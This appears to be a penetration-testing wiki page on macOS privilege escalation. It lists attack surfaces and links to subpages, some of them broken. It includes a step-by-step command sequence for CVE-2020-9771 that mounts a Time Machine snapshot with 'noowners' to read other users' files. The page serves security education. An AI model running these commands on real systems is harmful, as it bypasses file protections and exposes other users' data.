# macOS Security & Privilege Escalation

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## Basic MacOS

If you are not familiar with macOS, you should start learning the basics of macOS:&#x20;

* Special macOS **files & permissions:**

{% content-ref url="macos-files-folders-and-binaries/" %}
[macos-files-folders-and-binaries](macos-files-folders-and-binaries/)
{% endcontent-ref %}

* Common macOS **users**

{% content-ref url="macos-users.md" %}
[macos-users.md](macos-users.md)
{% endcontent-ref %}

* **AppleFS**

{% content-ref url="macos-applefs.md" %}
[macos-applefs.md](macos-applefs.md)
{% endcontent-ref %}

* The **architecture** of the k**ernel**

{% content-ref url="mac-os-architecture/" %}
[mac-os-architecture](mac-os-architecture/)
{% endcontent-ref %}

* Common macOS n**etwork services & protocols**

{% content-ref url="macos-protocols.md" %}
[macos-protocols.md](macos-protocols.md)
{% endcontent-ref %}

### MacOS MDM

In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**:

{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
{% endcontent-ref %}

### MacOS - Inspecting, Debugging and Fuzzing

{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %}
[macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/)
{% endcontent-ref %}

## MacOS Security Protections

{% content-ref url="broken-reference" %}
[Broken link](broken-reference)
{% endcontent-ref %}

## Attack Surface

### File Permissions

If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\
This could occur in the following situations:

* File used was already created by a user (owned by the user)
* File used is writable by the user because of a group
* File used is inside a directory owned by the user (the user could create the file)
* File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file)

Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place.

### Entitlements and Privileges abuse via process abuse

If a process can **inject code in another process with better privileges or entitlements** or contact it to perform privileges actions, he could escalate privileges and bypass defensive meassures such as [Sandbox](macos-sandbox/) or [TCC](macos-tcc/).

{% content-ref url="broken-reference" %}
[Broken link](broken-reference)
{% endcontent-ref %}

### File Extension Apps

Weird apps registered by file extensions could be abused:

{% content-ref url="broken-reference" %}
[Broken link](broken-reference)
{% endcontent-ref %}

### URL handler applications

Different applications can be resgiter to open specific protocols. They could be abused.

TODO: Create a page about this

## MacOS Privilege Escalation

### CVE-2020-9771 - mount\_apfs TCC bypass and privilege escalation

**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.

{% code overflow="wrap" %}
```bash
# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}

A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**

### Sensitive Information

{% content-ref url="broken-reference" %}
[Broken link](broken-reference)
{% endcontent-ref %}

### Linux Privesc

First of all, please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see:

{% content-ref url="../../linux-hardening/privilege-escalation/" %}
[privilege-escalation](../../linux-hardening/privilege-escalation/)
{% endcontent-ref %}

## References

* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
* [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)

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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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